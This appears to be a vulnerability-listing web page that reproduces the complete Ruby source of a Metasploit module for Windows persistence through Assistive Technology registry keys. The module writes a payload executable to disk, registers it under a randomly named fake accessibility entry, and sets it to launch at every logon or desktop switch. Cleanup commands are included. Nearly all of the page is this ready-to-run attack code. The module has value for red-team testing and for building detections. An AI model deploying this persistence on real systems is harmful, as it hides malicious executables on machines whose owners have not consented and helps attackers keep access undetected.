METASPLOIT

Assistive Technologies Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-ASSISTIVE_TECHNOLOGY-

Description

This module achieves persistence by registering a custom Assistive Technology AT in the Windows registry. Then it configures the system to launch the AT executable during user logon or desktop switch such as with an admin prived program. Requires...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-WINDOWS-PERSISTENCE-ASSISTIVE_TECHNOLOGY-
Published Dec 20, 2025 at 18:55

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Priv

AT_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs'
STARUP_REG_PATH = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Assistive Technologies Persistence',
'Description' => %q{
This module achieves persistence by registering a custom Assistive Technology (AT) in the Windows registry.
Then it configures the system to launch the AT executable during user logon or desktop switch (such as with
an admin prived program).
Requires Windows 8 or higher and administrative privileges.
},
'Author' => ['h00die'],
'Platform' => ['win'],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],

'SessionTypes' => ['meterpreter', 'shell'],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES],
['URL', 'https://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/'],
['URL', 'https://msdn.microsoft.com/ru-ru/library/windows/desktop/bb879984.aspx']
],
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2016-07-22',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
OptString.new('NAME', [false, 'Name of assistive technolog to create. Random string as default.']),
OptString.new('DESCRIPTION', [false, 'Description of assistive technolog to create. Random string as default.']),
])
end

def create_at(at_name, payload_path)
target_key = "#{AT_REG_PATH}\\#{at_name}"
at_description = datastore['DESCRIPTION'] || Rex::Text.rand_text_alpha((rand(6..13)))

registry_createkey(target_key)
registry_setvaldata(target_key, 'ApplicationName', '@%SystemRoot%\\system32\\AccessibilityCPL.dll,-85', 'REG_EXPAND_SZ')
registry_setvaldata(target_key, 'ATExe', payload_path.split('\\').last, 'REG_SZ')
registry_setvaldata(target_key, 'CopySettingsToLockedDesktop', 1, 'REG_DWORD')
registry_setvaldata(target_key, 'Description', at_description, 'REG_SZ')
registry_setvaldata(target_key, 'Profile', '<HCIModel><Accommodation type="mild dexterity"</HCIModel>', 'REG_SZ') # https://learn.microsoft.com/en-us/windows/win32/winauto/ease-of-access---assistive-technology-registration?redirectedfrom=MSDN#hci-profile
registry_setvaldata(target_key, 'SimpleProfile', at_name, 'REG_SZ')
registry_setvaldata(target_key, 'StartExe', payload_path, 'REG_EXPAND_SZ')
registry_setvaldata(target_key, 'TerminateOnDesktopSwitch', 0, 'REG_DWORD')
end

def writable_dir
d = super
return session.sys.config.getenv(d) if d.start_with?('%')

d
end

def check
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)

version = get_version_info
return CheckCode::Safe('Only supported on Windows 8 and above') unless version.build_number >= Msf::WindowsVersion::Win8

return CheckCode::Safe('You have admin rights to run this Module') unless is_admin?

CheckCode::Appears('Likely exploitable')
end

def install_persistence
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
temp_path = writable_dir
payload_exe = generate_payload_exe
payload_pathname = temp_path + '\\' + payload_name
payload_pathname += '.exe' unless payload_pathname.downcase.end_with?('.exe')

vprint_status("Payload pathname: #{payload_pathname}")
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
at_name = datastore['NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
vprint_status("Creating Assistive Technology #{at_name} registry entries")
create_at(at_name, payload_pathname)
vprint_status('Setting AT to start during login')
current_value = registry_getvaldata(STARUP_REG_PATH, 'Configuration')
new_value = current_value.empty? ? [] : current_value.split(',').map(&:strip)
new_value.append(at_name)
registry_setvaldata(STARUP_REG_PATH, 'Configuration', new_value.join(','), 'REG_SZ')

print_good('New AT added. Will launch on logon or desktop switch (such as with an admin prived program).')
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '\\\\\\\\')}\"\n"
@clean_up_rc << "execute -f cmd.exe -a '/c reg delete \"#{AT_REG_PATH}\\#{at_name}\" /f' -H\n"
@clean_up_rc << "execute -f cmd.exe -a '/c reg add \"#{STARUP_REG_PATH}\" /v Configuration /t REG_SZ /d \"#{current_value}\" /f' -H\n"
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.